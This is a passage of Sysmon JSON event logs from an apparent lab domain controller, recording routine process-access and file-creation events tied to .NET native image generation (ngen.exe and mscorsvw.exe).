t.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7765,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.510\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CE-5F2D-0000-0010F2D00D00}\r\nTargetProcessId: 3960\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.510","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CE-5F2D-0000-0010F2D00D00}","TargetProcessId":"3960","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7766,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.525\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-0010CBDD0E00}\r\nTargetProcessId: 3960\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.525","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-0010CBDD0E00}","TargetProcessId":"3960","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7767,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.588\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001088C90D00}\r\nTargetProcessId: 2836\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.588","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001088C90D00}","TargetProcessId":"2836","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7768,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.588\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42CD-5F2D-0000-001088C90D00}\r\nTargetProcessId: 2836\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.588","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42CD-5F2D-0000-001088C90D00}","TargetProcessId":"2836","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7769,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:05.604\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-001046E10E00}\r\nTargetProcessId: 2836\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:05.604","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-001046E10E00}","TargetProcessId":"2836","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7770,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:06.010\r\nProcessGuid: {90617006-42F9-5F2D-0000-001046E10E00}\r\nProcessId: 2836\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b14-0\\System.Messaging.dll\r\nCreationUtcTime: 2020-08-07 12:03:06.010","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:06.010","ProcessGuid":"{90617006-42F9-5F2D-0000-001046E10E00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\b14-0\\System.Messaging.dll","CreationUtcTime":"2020-08-07 12:03:06.010","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7771,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:06.088\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-00104EE50E00}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:06.088","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-00104EE50E00}","TargetProcessId":"3852","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7772,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:06.088\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-00104EE50E00}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:06.088","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-00104EE50E00}","TargetProcessId":"3852","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7773,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:06.135\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42FA-5F2D-0000-00104EE50E00}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:06.135","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42FA-5F2D-0000-00104EE50E00}","TargetProcessId":"3852","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7774,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: 